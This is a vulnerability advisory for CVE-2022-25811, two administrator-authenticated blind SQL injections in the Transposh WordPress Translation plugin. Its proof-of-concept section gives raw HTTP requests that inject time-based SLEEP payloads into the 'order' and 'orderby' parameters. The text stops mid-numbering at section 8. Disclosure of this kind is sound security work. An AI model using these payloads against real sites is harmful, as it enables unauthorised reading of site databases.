RCE Security Advisory https://www.rcesecurity.com 1. ADVISORY INFORMATION ======================= Product: Transposh WordPress Translation Vendor URL: https://wordpress.org/plugins/transposh-translation-filter-for-wordpress/ Type: Improper Authorization [CWE-285] Date found: 2022-02-21 Date published: 2022-07-22 CVSSv3 Score: 6.8 (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N) CVE: CVE-2022-25811 2. CREDITS ========== This vulnerability was discovered and researched by Julien Ahrens from RCE Security. 3. VERSIONS AFFECTED ==================== Transposh WordPress Translation 1.0.8.1 and below 4. INTRODUCTION =============== Transposh translation filter for WordPress offers a unique approach to blog translation. It allows your blog to combine automatic translation with human translation aided by your users with an easy to use in-context interface. (from the vendor's homepage) 5. VULNERABILITY DETAILS ======================== The WordPress plugin's "tp_editor" page at "/wp-admin/admin.php?page=tp_editor" is vulnerable to two authenticated, blind SQL Injections when user-supplied input to the HTT GET parameters "order" and "orderby" is processed by the web application. Since the application does not properly validate and sanitize these parameters, an attacker with the role "Administrator" is able to inject arbitrary SQL commands against the backend database server of the web application. Successful exploits can allow the attacker to access the WordPress backend database and thereby read sensitive contents. This is specifically relevant in multi-site installations. 6. PROOF OF CONCEPT =================== To exploit the "order" parameter: GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang&order=asc,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END)) HTTP/1.1 Host: localhost Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Cookie: [Your Cookies] Connection: close To exploit the "orderby" parameter: GET /wp-admin/admin.php?page=tp_editor&orderby=lang&order=page=tp_editor&orderby=lang,(SELECT%20(CASE%20WHEN%20(1=1)%20THEN%20SLEEP(10)%20ELSE%202%20END))&order=asc HTTP/1.1 Host: localhost Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 Cookie: [Your Cookies] Connection: close 7. SOLUTION =========== None. Remove the plugin to prevent exploitation. 8.
